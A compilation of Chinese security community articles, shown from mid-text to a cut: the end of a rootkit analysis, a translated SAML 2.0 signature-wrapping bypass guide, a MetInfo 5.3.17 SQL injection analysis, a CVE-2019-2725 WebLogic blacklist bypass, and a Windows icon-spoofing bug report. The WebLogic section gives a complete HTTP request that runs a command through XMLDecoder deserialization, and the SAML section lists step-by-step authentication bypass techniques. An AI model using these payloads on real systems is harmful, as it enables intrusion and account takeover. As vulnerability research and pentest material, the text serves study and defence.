被设计成与用户通信，设备是DevicePhysicalDrive00，符号链接名为DosDevicePhysicalDrive00。
驱动比第一个dropper的小（43KB和372KB）
注册了3个IRP派遣函数（IRP_MJ_CREATE，IRP_MJ_CLOSE，IRP_MJ_DEVICE_CONTROL）
检测驱动Driverdiskpt（Shadow Defender）和DriverDfDiskLow的驱动DfDiskLow.sys(Deep Freeze
Faronics Corp)是否存在
包含用ZwOpenDirectory和ObQueryNameString枚举对象命名空间的代码
包含混淆，自修改代码，加大分析的难度
用来绕过文件系统型沙箱，能在磁盘级别直接操作文件
在DriverEntry中分配内存块，同样是用来放NT内核API的跳板函数。
下面看到的是在DriverEntry中的主要步骤：
IRP_MJ_DEVICE_CONTROL派遣函数中的部分代码如下：
在DriverEntry通过端口驱动（atapi）获取硬盘设备对象的指针。这个信息用来在IRP_MJ_DEVICE_CONTROL的派遣函数中发送同步请求给端口驱动：
MmMapLockedPagesSpecifyCache，IoAllocateMdl处理非分页内存和直接I/O操作
IoBuildSynchronousFsdRequest，IofCallDriver创建一个相应的IRP请求，并发送
MmUnmapLockedPages，IoFreeMdl释放资源
下面能偶看到两个驱动的区别：
**0x05 总结**
这个恶意程序的作者做了很多努力来防止静态和动态分析。第一个rootkit只用来注入恶意代码到Winlogon系统进程中。它检测ESET的帮助驱动，因为它能阻止rootkit
的恶意行为，攻击者需要确保在安全产品的环境下也能存活。正如你看到的分析，代码高度混淆。只显示rootkit映像的代码是无用的，因为不能帮助重建执行的逻辑关系。恶意程序的作者用了特殊的指令来做混淆。不过不清楚攻击这为什么不关心rootkit的潜伏和为什么不保护自己的注册表键。
两个rootkit的目的只有一个：第一个用来将代码注入Winlogon进程，第二个在底层和硬盘通信。第二个rootkit不关心持久性：一旦rootkit被加载进内存就把rootkit文件删掉。检测安全软件的存在是共同的特点。例如第一个驱动检测AV驱动的存在与否。第二个驱动关心一个系统工具。
安全产品和系统工具能够阻止潜在的恶意威胁。这个就是为什么攻击者需要底层访问磁盘的权限，他们需要绕过文件沙箱和直接修改文件。 | 社区文章 |
# 【技术分享】利用XML签名攻击绕过SAML 2.0 SSO
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://research.aurainfosec.io/bypassing-saml20-SSO/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[三思之旅](http://bobao.360.cn/member/contribute?uid=1630860495)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
* * *
最近，我们注意到一种趋势：许多新西兰的网站计划实现SSO（Single Sign-On，单点登录）以替代密码登录，这其中也包括了许多政府类网络服务。目前最流行的SSO标准是SAML
2.0，它支持多个开发框架，同时也支持多种开发语言。通常情况下，SAML
2.0标准在将验证用户身份的SAML响应数据返回给浏览器的过程中，使用数字签名以防止数据被篡改。但不幸的是，许多开发人员并未恰当地验证SAML响应数据，这就给了攻击者可乘之机，攻击者可以绕过身份认证。
**SAML 2.0 SSO简介**
* * *
安全声明标记语言（Security Assertion Markup
Language，SAML）是一个基于XML的标准，用于在不同的安全域（Security domain）之间交换认证和授权数据。当使用SAML
2.0标准登录一个站点时，一共有三方参与进来：服务提供商SP（Service
Provider，用户打算登录的站点），当事人（Principal，准备登录的用户）和身份提供商IdP（Identity
Provider，提供认证服务的权威机构，如Google等）。我们要实现的目标是：IdP通过一种可信的方式告诉SP当事人的身份是谁。
登录时，SP将用户重定向到IdP，同时提交一个SAML请求。一旦IdP确认了用户的身份，就会向SP返回一个SAML响应。发送SSO消息主要有以下三种方式，在标准中称之为“绑定”：
HTTP重定向绑定：将SAML消息直接包含在URL中。
HTTP POST绑定：将SAML消息包含在POST请求体中。
HTTP Artifact绑定：发送一个随机令牌作为标识，通过反向通道获取文档。
前两种绑定方式在实际使用过程中存在一些比较严重的问题。
**识别SAML响应**
* * *
如前所述，通常情况下，SAML响应消息或者通过URL进行传递，如下图所示：
或者包含在一个POST请求体中，如下图所示：
以上两种方式中的SAML消息都要经过浏览器，因此都能被攻击者操纵。但是，另一方面，当通过如下图所示的SAML Artifact方式时：
攻击者可能就束手无策了。因为这些随机令牌被解析进原始消息中了，然后通过一个反向通道被取回，所以除非攻击者有权限访问目标所在的私有网络（比如存在SSL/TLS漏洞刚好被利用），否则这些令牌对攻击者而言并无利用价值。
**保护消息传输过程**
* * *
这里的问题在于，不管是通过HTTP重定向绑定还是通过HTTP
POST绑定，IdP返回的验证用户身份信息的数据都要经过用户的浏览器，所以在传输过程中很可能被篡改。而HTTP Artifact绑定则不存在这种问题。
如果SAML响应消息缺乏相应的保护机制，则攻击者可以通过篡改响应数据冒充他人身份。例如，我以Tim的身份登录IdP然后通过简单地修改SAML响应消息声称自己是Emmanuel。实事上，我可以伪造整个响应消息，然后冒充Emmanuel的身份。
当然，SAML标准的开发者并非不够严谨而让错误消息通过认证。相反，他们非常努力地修复这个问题。标准中所采用的方案是：在每个响应消息体中附加一个XML签名，以防止数据被篡改。
**XML签名标准**
* * *
XML签名标准是一头庞大的、复杂难懂的野兽，它由一个成员包含许多大牛的工作组所设计，设计初衷是作为一个放之四海而皆准的、用于构建可抵抗篡改攻击的XML文档的解决方案。不幸的是，“放之四海而皆准”最终却变成了“什么也不适合”。
在标准的数字签名应用中，我们对需要签名的文档执行密码散列函数计算出HASH，然后对该HASH值应用数字签名算法得到数字签名。如果被接收的文档和原始文档是完全一致的，那么通过同样的算法对接收文档计算得到的数字签名和接收到的数字签名是完全一致的；然而，两个数字签名只要有一位数据不同，那么就认为接收到的数字签名是无效的，文档也就会被接收方所拒绝。
不幸的是，XML有一个致命的弱点——XML签名标准允许我们只对文档的一部分而不是整个文档进行签名，然后将这个签名嵌入同一个需要验证的文档——这就是所谓的内联签名（Inline
signatures）。为实现内联签名，需要在被签名文档中包含对文档局部的引用，通常是引用一个XML元素的ID属性，但理论上允许使用任何符合XPath标准的对象作为表达式。例如，理论上，我可以在一个文档内的任意位置写入指向“倒数第三个<foo>元素”的签名，或者类似的模糊表达式。
当验证一个XML签名时，仅仅确认“这是一个来自签名者的有效的签名吗？”是不够的。我们也必须确认“签名存在吗？如果存在的话，这是指向文档的正确位置的、遵守了正确的标准的、由期望的签名者所签发的、有效的签名吗？”但是经常出现的情况是，至少有一项未被验证。
**SAML Raider入门**
* * *
本文所描述的所有攻击方法并不需要很多工具就能够实现，不过通常情况下，Burp Suite的[SAML
Raider](https://github.com/SAMLRaider/SAMLRaider "SAML
Raider")插件是一个很有用的辅助测试工具。
**检测**
* * *
如前所述，签名可能出现在SAML消息中的多个位置并且覆盖整个消息的多个部分。通过保留消息内容，向其中增加新的部分，并且修改剩余部分的结构，我们可以手工构造出一个新的消息，这个新消息从技术上讲仍然是被合法签名的，但是可能被SAML库解析为包含了已签名的关键内容，尽管实际上该关键内容并不存在。
无论何时，SP在进行验证时，有一定的机率验证失败或者进行了不正确的验证，这都给了我们绕过签名验证的机会。打开Burp的拦截功能，拦截SAML请求报文，然后尝试这些转换。每次尝试都要针对一个新的、有效的登录动作，因为通常会有一个Nonce（如随机令牌）阻止我们重复发送相同的请求报文。
在反复测试的过程中，按照如下设置Burp的Proxy，每次仅仅拦截SSO登录请求，将会帮你省去不少额外动作：
**签名是必需的吗？**
SAML标准要求所有经过非安全信道（如用户的浏览器）进行传输的消息都要有数字签名。不过，如果消息通过安全信道（如SSL/TLS反向通道）进行传输的话，签名就不是必需的了。但是正因为这一点，我们发现SAML使用者经常这样做：如果有任何签名存在，就进行验证；如果签名被移除，则跳过验证。软件基本上假定我们已经检查了来自非安全信道的消息已签名，而真实情况并非如此。
这造成的影响就是，我们能够简单地删除签名，并篡改响应，就好像签名不存在一样。使用SAML Raider插件可以很容易完成该操作。
**签名得到验证了吗？**
验证XML签名是一个非常复杂的过程，因为XML签名标准期望在签名验证之前先进行一系列的转换和规范化的操作（如忽略掉大量的空白符）。这就导致如果没有一个功能齐全的XML签名库在背后做支撑，那么验证签名就极其困难。这造成的影响有：
开发者普遍对签名验证的内在过程理解不到位。
一些中间组件，如WAF等，并不知道签名是否有效。
签名库可能存在一些配置选项，如允许的规范化方法列表，这些选项对开发者来说却毫无意义。
实现签名标准并不容易，再加上签名标准自身也存在几分晦涩难懂的特性，这就导致了我们现在所遇到的问题。
首先，测试一个签名是否有效是很简单的——改变被签名内容中的某些数据，然后看看是否会导致中断。
**签名是来自正确的签名者吗？**
另外一个障碍就是接收方是否验证了签名者的身份。我们无法看到这一步是否正确，但使用SAML Raider插件可以很容易地进行测试。
将签名证书复制到SAML Raider的证书商店：
保存并且对此证书进行自签名，我们便得到了同一证书的一个自签名版本。
这时我们就可以使用这个自签名证书对原始请求进行重新签名，可以对整个消息进行签名，也可以只签assertion部分。
你可以确认一下应用正常采用哪种签名方式，也可以两种方式都试一下。
**是对响应消息的正确部分进行签名的吗？**
**XSW攻击原理** ****
SAML标准所允许的签名存在的位置仅有两处：
签名位于<Response>标签中，对<Response>标签及其子节点进行签名。
签名位于<Assertion>标签中，对<Assertion>标签及其子节点进行签名。
SAML标准对于签名允许存在的位置以及允许被签的内容都有明确的描述。
然而，没有人为了仅仅使用SAML就完整地实现复杂的XML签名机制。签名标准是通用的，标准的实现以及为此所开发的软件库也是如此。结果，就有了如下所示的“职责分离”：
XML签名库根据XML验证标准验证签名，它允许从任何地方签名任何内容。
SAML库期望XML签名库告诉它响应消息是否有效。
在两个组件之间往往缺少相关规则去规定哪些内容必须签名的。结果就是，我们经常可以针对文档的不同部分进行签名，而在接收方看来签名依然有效。
通过拷贝文档被签名的部分，并保证签名数据指向这些拷贝部分，我们可以将XML签名库验证的内容和SAML库需要的内容分离开来。
**自动化进行XSW攻击**
SAML Raider插件可以帮你实现最常见的XSW攻击。
可以尝试下拉框中的每一个选项，然后点击“Apply XSW”以发送请求数据。如果没有出现错误，就改变SAML
XML中所有的用户名或者其他用户标识符然后重复这个动作。
**SAML Raider的局限性**
* * *
尽管SAML Raider插件可以对常见的情况进行测试，但仍然有一些攻击需要更深一层的理解：
生成针对XML Schema进行验证的响应（需要在可能包含xs:any的元素中隐藏影子副本（shadow copy))。
当Response和Assertion都被签名和验证时，如何绕过验证。
在非SAML上下文中绕过XML签名，如在使用WS-Security扩展的SOAP Endpoints中。
**手动XSW**
如果SAML Raider插件自带的选项都不起作用，你可以尝试手动测试方法：
解码经过Base64编码的内容以获取SAML响应XML。
检查签名的<Reference>标签是否包含被签名元素的ID。
拷贝文档中其他部分被签名的内容（一般情况下，放在<Response>标签的末尾是可以的；如果还要验证XML Schema，那就放在不会破坏XML
Schema的位置）。
从XML签名中删除副本，将其保留在原始文档中。这是有必要的，因为XML封装签名标准去掉了将被验证的签名。在原始文档中，这就是所包含的签名，所以我们必须将其从副本中删除）。
改变原始签名内容的ID为其他值（如改变其中一个字母）。
改变原始assertion的内容。
对上述内容重新进行Base64编码，将其放回请求报文中，然后提交请求。
如果签名验证指向副本，那么你所做的上述改动将被忽略。在实际操作过程中，如果服务器严格限制了请求时间，你应该快速地完成这些步骤。
**SAML渗透测试检查表**
* * *
SAML响应通过浏览器了吗？
响应内容是否被签名了？如果没有签名，尝试改变其内容。
如果删除签名数据，响应内容是否被接受？
如果我们使用其他证书重新进行签名，响应内容是否被接受？
使用SAML Raider自带的8种转换方式生成的结果是否被接受？
如果你更改此类响应，更改后的响应是否被接受？
是否遇到了上文所述的SAML Raider的局限性？如果是，你需要尝试手动测试方法。 | 社区文章 |
作者：[phith0n@长亭科技](https://www.leavesongs.com/PENETRATION/metinfo-5.3.17-sql-injection.html)
Metinfo 8月1日升级了版本，修复了一个影响小于等于 5.3.17 版本（几乎可以追溯到所有5.x版本）的 SQL 注入漏洞。这个 SQL
注入漏洞不受软 WAF 影响，可以直接获取数据，影响较广。
#### 0x01. 漏洞原理分析
漏洞出现在 `/include/global.func.php` 文件的 `jump_pseudo` 函数：
<?php
/*静态页面跳转*/
function jump_pseudo(){
global $db,$met_skin_user,$pseudo_jump;
global $met_column,$met_news,$met_product,$met_download,$met_img,$met_job;
global $class1,$class2,$class3,$id,$lang,$page,$selectedjob;
global $met_index_type,$index,$met_pseudo;
if($met_pseudo){
$metadmin[pagename]=1;
$pseudo_url=$_SERVER[HTTP_X_REWRITE_URL]?$_SERVER[HTTP_X_REWRITE_URL]:$_SERVER[REQUEST_URI];
$pseudo_jump=@strstr($_SERVER['SERVER_SOFTWARE'],'IIS')&&$_SERVER[HTTP_X_REWRITE_URL]==''?1:$pseudo_jump;
$dirs=explode('/',$pseudo_url);
$dir_dirname=$dirs[count($dirs)-2];
$dir_filename=$dirs[count($dirs)-1];
if($pseudo_jump!=1){
$dir_filenames=explode('?',$dir_filename);
switch($dir_filenames[0]){
case 'index.php':
if(!$class1&&!$class2&&!$class3){
if($index=='index'){
if($lang==$met_index_type){
$jump['url']='./';
}else{
$jump['url']='index-'.$lang.'.html';
}
}else{
if($lang==$met_index_type){
$jump['url']='./';
}else{
$id=$class3?$class3:($class2?$class2:$class1);
if($id){
$query="select * from $met_column where id='$id'";
}else{
$query="select * from $met_column where foldername='$dir_dirname' and lang='$lang' and (classtype='1' or releclass!='0') order by id asc";
}
$jump=$db->get_one($query);
$psid= ($jump['filename']<>"" and $metadmin['pagename'])?$jump['filename']:$jump['id'];
if($jump[module]==1){
$jump['url']='./'.$psid.'-'.$lang.'.html';
}else if($jump[module]==8){
$jump['url']='./'.'index-'.$lang.'.html';
}
else{
if($page&&$page!=1)$psid.='-'.$page;
$jump['url']='./'.'list-'.$psid.'-'.$lang.'.html';
}
}
}
...
}
代码截的不全，只关注一下这几个操作：
1. `$pseudo_url=$_SERVER[HTTP_X_REWRITE_URL]?$_SERVER[HTTP_X_REWRITE_URL]:$_SERVER[REQUEST_URI];`： 从`$_SERVER[HTTP_X_REWRITE_URL]`中获取`$pseudo_url`变量
2. `$dirs=explode('/',$pseudo_url);`：将`$pseudo_url`变量用斜线分割成`$dirs`数组
3. `$dir_dirname=$dirs[count($dirs)-2];`：获取`$dirs`的倒数第二个元素作为`$dir_dirname`变量
4. `$query="select * from $met_column where foldername='$dir_dirname' and lang='$lang' and (classtype='1' or releclass!='0') order by id asc";`：`$dir_dirname`变量被拼接进SQL语句
所以，通过分析可知，`$_SERVER[HTTP_X_REWRITE_URL]`的一部分，最终被拼接进 SQL 语句。那么，如果 Metinfo 没有对
HTTP 头进行验证的情况下，将导致一个 SQL 注入漏洞。
看一下 Metinfo 对于变量的获取方式：
<?php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
使用`daddslashes`函数过滤GPC变量，`daddslashes`这个函数确实很讨厌，不光有转义，而且有很不友好的软
WAF。但我们这里这个注入点是来自于 SERVER 变量，所以是不受软 WAF 影响的。
#### 0x02. 漏洞利用缺陷
那么，我们看看如何才能进入这个注入的位置。
`jump_pseudo`函数前面有一些条件语句，归纳一下主要有下面几个：
1. 需要满足`if($met_pseudo)...`
2. 需要满足`if($pseudo_jump!=1)...`
3. 需要满足`switch($dir_filenames[0]){ case 'index.php':...`
4. 需要满足`if(!$class1&&!$class2&&!$class3)...`
5. 不能满足`if($index=='index')...`
6. 不能满足`if($lang==$met_index_type)...`
翻译成汉字，大意就是：
1. `$met_pseudo`必须为真。`$met_pseudo`这个变量是指系统是否开启了伪静态，也就说这个漏洞需要开启伪静态才能够利用。
2. `$pseudo_jump`不等于1。这个条件，只要`$_SERVER[HTTP_X_REWRITE_URL]`有值即可满足。
3. `$dir_filenames[0`]必须等于`'index.php'`，这个变量是可控的。
4. `class1`、`class2`、`class`3不能有值。这个条件，只要我访问的是`index.php`，并且不主动传入这三个参数，即可满足。
5. `$index`不能等于`'index'`，这个变量也是可控的，传入参数`index=xxxx`即可
6. `$lang`不能等于`$met_index_type` 这6个条件语句中，2~5中的变量都可控，1中的变量只要开启伪静态即可满足，唯独6需要单独分析一下。
`$lang`是我们传入的参数，代表给访客显示的语言是什么。Metinfo
默认安装时，将存在3种语言：简体中文（cn）、英文（en）、繁体中文（tc），而`$met_index_type`表示默认语言类型，默认是中文，也就是cn。
而 Metinfo
的配置（包括伪静态相关的配置），是和语言有关系的，不同语言的配置不相同。默认情况下，如果管理员在后台开启伪静态，将只会修改lang=cn时的配置。
那么，正常情况下，我们传入`index.php?lang=cn`，将会导致`if($lang==$met_index_type)...`这个条件成立，也就没法进入SQL注入的语句中；如果我们传入`index.php?lang=en`，又导致伪静态配置恢复默认，也就是`$met_pseudo
= 0`，导致进不去步骤1的if语句；如果我们传入一个不存在的lang，比如`index.php?lang=xxx`，将会导致报错：`No data in
the database,please reinstall.`
这就比较蛋疼。此时，就需要利用到Mysql的一个特性。
#### 0x03. Mysql 大小写特性回顾
Mysql 对于内容的存储方式，有如下两个概念：字符集（character set）和collation（比对方法）。
二者组合成 Mysql 的字符格式，一般来说分为这两类：
<character set>_<language/other>_<ci/cs>
<character set>_bin
比如，最常用的`utf8_general_ci`，就是第一种格式。
我们这里需要关注的就是最后一串：ci、cs、bin，这三个究竟是什么？
ci 其实就是 case insensitive （大小写不敏感）的缩写， cs 是 case sensitive
（大小写敏感）的缩写。也就是说，当我们用的字符格式是`utf8_general_ci`时，Mysql中比对字符串的时候是大小写不敏感的。
bin 指的是比较的时候，按照二进制的方式比较，这种情况下就不存在大小写的问题了。bin方式还可以解决有些小语种上的特性，这个就不展开说了。
我们随便找了个数据表，做个小实验：
可见上图，虽然我查询的 SQL 语句是`SELECT * FROM `wp_users` WHERE
`user_login`='AdmIN'`，但实际上查询出来了用户名是admin的用户账户。
#### 0x04. 完成漏洞利用
回到 Metinfo，我们可以利用 0x03 中说到的 Mysql 特点，来绕过`if($lang==$met_index_type)...`的判断。
我们来看看 Metinfo 是如何获取系统配置的：
<?php
/*默认语言*/
$met_index_type = $db->get_one("SELECT * FROM $met_config WHERE name='met_index_type' and lang='metinfo'");
$met_index_type = $met_index_type['value'];
$lang=($lang=="")?$met_index_type:$lang;
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");
if(!$langoks)die('No data in the database,please reinstall.');
if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html');
if(count($met_langok)==1)$lang=$met_index_type;
/*读配置数据*/
$_M[config][tablepre]=$tablepre;
$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";
$result = $db->query($query);
while($list_config= $db->fetch_array($result)){
$_M[config][$list_config['name']]=$list_config['value'];
if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value']));
$settings_arr[]=$list_config;
if($list_config['columnid']){
$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];
}else{
$settings[$list_config['name']]=$list_config['value'];
}
if($list_config['flashid']){
$list_config['value']=explode('|',$list_config['value']);
$falshval['type']=$list_config['value'][0];
$falshval['x']=$list_config['value'][1];
$falshval['y']=$list_config['value'][2];
$falshval['imgtype']=$list_config['value'][3];
$list_config['mobile_value']=explode('|',$list_config['mobile_value']);
$falshval['wap_type']=$list_config['mobile_value'][0];
$falshval['wap_y']=$list_config['mobile_value'][1];
$met_flasharray[$list_config['flashid']]=$falshval;
}
}
$_M[lang]=$lang;
@extract($settings);
可见，这里执行了这条SQL语句`SELECT * FROM $met_config WHERE lang='$lang' or
lang='metinfo`'，然后将结果`extract`到上下文中。
而`$met_config`这个表，格式就是`utf8_general_ci`，大小写不敏感。
所以，我只需要传入`index.php?lang=Cn`，在执行上述SQL语句的时候，不影响SQL语句的执行结果；而在进行`if($lang==$met_index_type)...`比较的时候，`Cn
!= cn`，成功进入else语句。
最后，构造下面数据包，注入获取结果：
#### 0x05. 漏洞利用条件
主要条件就是，需要管理员开启伪静态：
没有什么其他条件了，无需登录即可触发。
* * * | 社区文章 |
# CVE-2019-2725高版本POC拓展
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在对大佬们高版本的POC进行分析后，我把重点放在了如何绕过黑名单限制上，那么利用XML可以解析的其它编码格式尝试一下绕过。
## 0x01 补丁回顾
首先回顾一下这个经典的补丁截图，摘自：
<http://www.sd.edu.cn/info/1011/1131.htm>
可以看到对object、new、method关键字做了限制，而且对于array数组的长度也做了限制，不得大于10000。
## 0x02 高版本POC分析
现在网上也公开了12.1.3版本的POC，利用org.slf4j.ext.EventData类进行反序列化操作，这个类的构造方法如下：
可以看到这个类需要接收一个XML的字符串，那么POC构造如下：
那前面也看到了补丁限制了一些关键字，而需要解析的XML恰好含有这些关键字，绕过的思路就是整个的XML字段真的当作一个字符串传入，CDATA包含的字符串正好可以作为XML文本去解析。
## 0x03 绕过思路扩展
说到这里大家可能就明白了，只要是XML能够解析的编码格式都可以一试，此时想起了前不久看到的《WAF
Bypass之xerces解析》，这篇文章对XML的解析格式进行了分析，其中一种简便快捷的方式就是HTML实体编码，欸，讨巧了，直接尝试将org.slf4j.ext.EventData类的构造参数用实体编码传入试一下：
很快啊，计算器啪地一下就弹出来了
POC如下：
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.188.130:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 1946
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>org.slf4j.ext.EventData</string><void><string><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java></string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
## 0x04 总结
应该还有其它的编码绕过，希望有时间去搞吧。
## 参考链接
<https://blog.csdn.net/weixin_30408739/article/details/99877655>
<https://xz.aliyun.com/t/7116>
<https://www.anquanke.com/post/id/209826>
<http://www.sd.edu.cn/info/1011/1131.htm> | 社区文章 |
# 【技术分享】披着羊皮的狼：如何利用Windows图标显示漏洞伪装PE文件
|
##### 译文声明
本文是翻译文章，文章来源：cybereason.com
原文地址：<https://www.cybereason.com/labs-a-zebra-in-sheeps-clothing-how-a-microsoft-icon-display-bug-in-windows-allows-attackers-to-masquerade-pe-files-with-special-icons/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
Windows系统图标显示功能中存在一个漏洞，利用这个漏洞，攻击者可以从本地主机中自动地 **“借用“**
其他常用的图标，利用这些图标伪装PE文件，从而诱惑用户点击这类文件。这个漏洞的真正原因隐藏在Windows的图像处理代码中。该漏洞至少从Windows
7起就已经存在，并且最新版的Windows 10系统仍然受该漏洞影响。
我们在研究最近的一批恶意PE文件时发现了这个漏洞。当我们把文件从某个目录复制到另一个目录时，我们发现系统会出现一些比较奇怪的行为：某些文件的图标会发生改变。为了排除某些错误（比如操作人员过于疲惫导致操作失误）的可能性，我们将这些文件复制到另一个不同的目录，然后再次发现这些文件的图标会变成另一个常见的但又与当前文件完全无关的图标。这种现象成功吸引了我们的注意，促使我们深入调查，最终形成了这份报告。
**二、漏洞分析**
****
想要直观感受一下这种现象，可以先看看这个演示视频：
这批恶意软件最早可以追溯到2017年4月份，其中包含几十个[Cerber勒索软件样本](https://www.cybereason.com/blog-ransomfree-detects-and-stops-new-cerber-variant-that-whitelists-security-products/)，这些样本全都存在这种现象。
我们从这些样本中提取了图标，图标在Windows资源管理器中的呈现效果如下图所示：
乍看起来，人们可能会认为这些图标只是被恶意软件选中使用的无害图标而已（虽然左上角的Cybereason图标看起来的确有点奇怪），然而，将这些图标转化为另一种内部图像格式后，我们就能发现这些图标的庐山真面目：
正如我们看到的那样，这些文件看起来几乎完全一致，除了微乎其微的某些随机像素点的区别，这表明这些文件是自动生成的，以避免存在明显的基于图标的特征，虽然原始的图标看起来是有点奇怪。毋庸置疑，这些图像肯定是基于Adobe图标修改而得，是合法的黑白图标。
原始的Adobe图标如下：
然而，虽然许多恶意程序会使用窃取的资源来隐藏自己，以逃避安全程序和肉眼的检测过程，但本文涉及的这些案例并不属于这种情况，它们在屏幕上呈现的效果与它们的内在完全不同。除了模仿Adobe图标之外，这些图标都有一个共同点，就是它们都属于我们所说的
**“真正单色图标（true monochrome icon）”** ，或者可以简称为 **TMI** 图标。
**“TMI图标”** 指的是包含两种特定元素的图标：它们只有两种颜色（也就是说，它们每个像素的位数（ **bits-per-pixel，bpp**
）为1），并且这两种颜色为纯黑色（0x000000）以及纯白（0xFFFFFF）色。需要注意的是，图标可能会使用其他颜色来进行单色渲染（比如黑白色），而不单单是纯单色（即bpp值高于1）。然而，本文讨论的这种现象
**只存在于真正单色图标上** 。
关于图标文件格式的详细文档，读者可以参考如下链接了解更多细节。
<https://msdn.microsoft.com/en-us/library/ms997538.aspx>
<https://msdn.microsoft.com/en-us/library/windows/desktop/dd183376%28v=vs.85%29.aspx>
我们从某个Cerber样本中提取了这类文件，如下所示：
经实验验证，我们发现这种图标切换异常现象对任何TMI图标而言都适用，无需特殊处理即可实现。为了证明这一点，我们使用一个十六进制编辑器创建了一个空的TMI图标（喜欢动手的读者可以亲自尝试做一个）：
随后，我们将该图标作为一个“hello world”应用的唯一图标。在Windows资源管理器中，系统不会将其显示为单像素单色图标，而会显示成如下效果：
在该目录下对文件进行重命名，图标发生了变化，如下图所示。
所以，这到底是怎么回事？
看起来该问题起源于系统对已渲染图标的缓存方式以及对TMI图标的特殊处理方式，使得它们无法覆盖已有的图标。
Windows资源管理器以及基于资源管理器的其他应用都是通过使用 **comctl32.dll** 模块（用户体验控制库）中的 **CImageList**
类来实现图标的缓存。CImageList类的官方说明文档如下：
<https://msdn.microsoft.com/en-us/library/9xc4z2c7.aspx>
系统将文件的路径映射为某个CImageList对象内部的一个索引来实现图标的缓存（这里包含多个图标缓存，不同大小的图标会对应不同的缓存）。因此，当用户查看某个文件时，若对应的图标之前已完成渲染，那么系统就会直接从缓存中获取图标。如果系统进程之前尚未处理过该路径，那么系统就会根据具体的文件类型进行渲染，并将其存到缓存中。这也就是为什么当我们查看包含多个图标文件或者具有图标的PE文件的某个目录时，系统会稍加延迟，逐渐显示文件的原因所在。当文件被复制或被重命名时，文件的图标会被再次渲染，因为此时系统会认为这些路径属于新的路径。
这个处理逻辑的具体实现位于 **CImageList::_ReplaceIcon** 函数中：
程序会根据给定的索引来添加或替换缓存图标：
经过若干处理步骤后，函数会检查索引对应的当前图像是否包含一个alpha通道，如果包含（基本上都会包含该通道），函数就会设置一个标志，后续处理过程中会使用该标志来决定如何调用
**DrawIconEx** ：
如果程序设置了该标志，那么函数就会在之后的处理过程中，调用DrawIconEx来实际绘制给定的图标，以替换列表中已有的缓存图标，调用DrawIconEx时使用的是DI_MASK
(1)标志而不是DI_NORMAL (3)标志。
在文件内部，图标以及图像通常情况下会包含两个不同的像素图：分别为“colors”以及“mask”图层，后者可以作用于colors图层之上，如ICONINFO文档中描述的那样：
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms648052.aspx>
因此，从本质上讲，图标中只有“mask”部分会被渲染，并会覆盖mask（[esi+7ch）的DC（Device
Context，设备上下文），而并不会覆盖colors（[esi+78h）的DC。当图标为TMI图标时，这个处理过程就会导致没有任何新的像素被覆盖，并且系统在渲染图标时会借用CImageList当前索引所对应的之前的那个缓存图标！
这个利用过程需要缓存处于饱满状态，这取决于这些函数的调用者。然而，对于类似资源管理器的组件而言（如“文件打开”对话框），缓存的大小通常是非常小的。
使用这种组件的任何进程都可能复现这种现象。如下图所示，我们使用Outlook
2016的“添加附件”窗口来查看被TMI图标填满的某个目录（免责声明：在访问单色图标目录之前，我们已经在同一窗口中浏览了几个包含图标的目录）：
很显然，不仅图标文件会触发这个问题，任何包含图标的PE文件也会触发此类问题。触发条件在于此类图标是目标文件的 **唯一的**
图标类型，因为Windows的算法会根据大小、并且按照高颜色深度（high-color-depth）到低颜色深度（low-color-depth）顺序，选择“最合适”的图标来渲染文件。
既然如此，我们决定在我们的恶意软件数据库中，查找资源区中只包含 **真正单色图标**
的那些样本，最终我们找到了数百个样本，这些样本最早可以追溯到2013年（是我们数据库中最早的样本）。毫无疑问，这些样本全部都可以触发这种现象。在良性样本数据库中进行类似搜索后，我们没有得到任何结果。
根据样本所使用的不同图标，我们将样本分成几组：
前面提到过，我们在4月17日检测到滥用Adobe图标的Cerber勒索软件样本，这也是我们第一次检测到的此类恶意软件样本。这里我们再举5个类似的样本，如下所示（截图中为这些样本当时在我们主机上的显示情况）：
在virustotal上的地址分别为：
[https://www.virustotal.com/en/file/10b2fd1e06c3ac73d23e67bb59c4294cef8485bdc1b116005c56bfb950f21e44/analysis/](https://www.virustotal.com/en/file/10b2fd1e06c3ac73d23e67bb59c4294cef8485bdc1b116005c56bfb950f21e44/analysis/%5D\(https://www.virustotal.com/en/file/10b2fd1e06c3ac73d23e67bb59c4294cef8485bdc1b116005c56bfb950f21e44/analysis/)
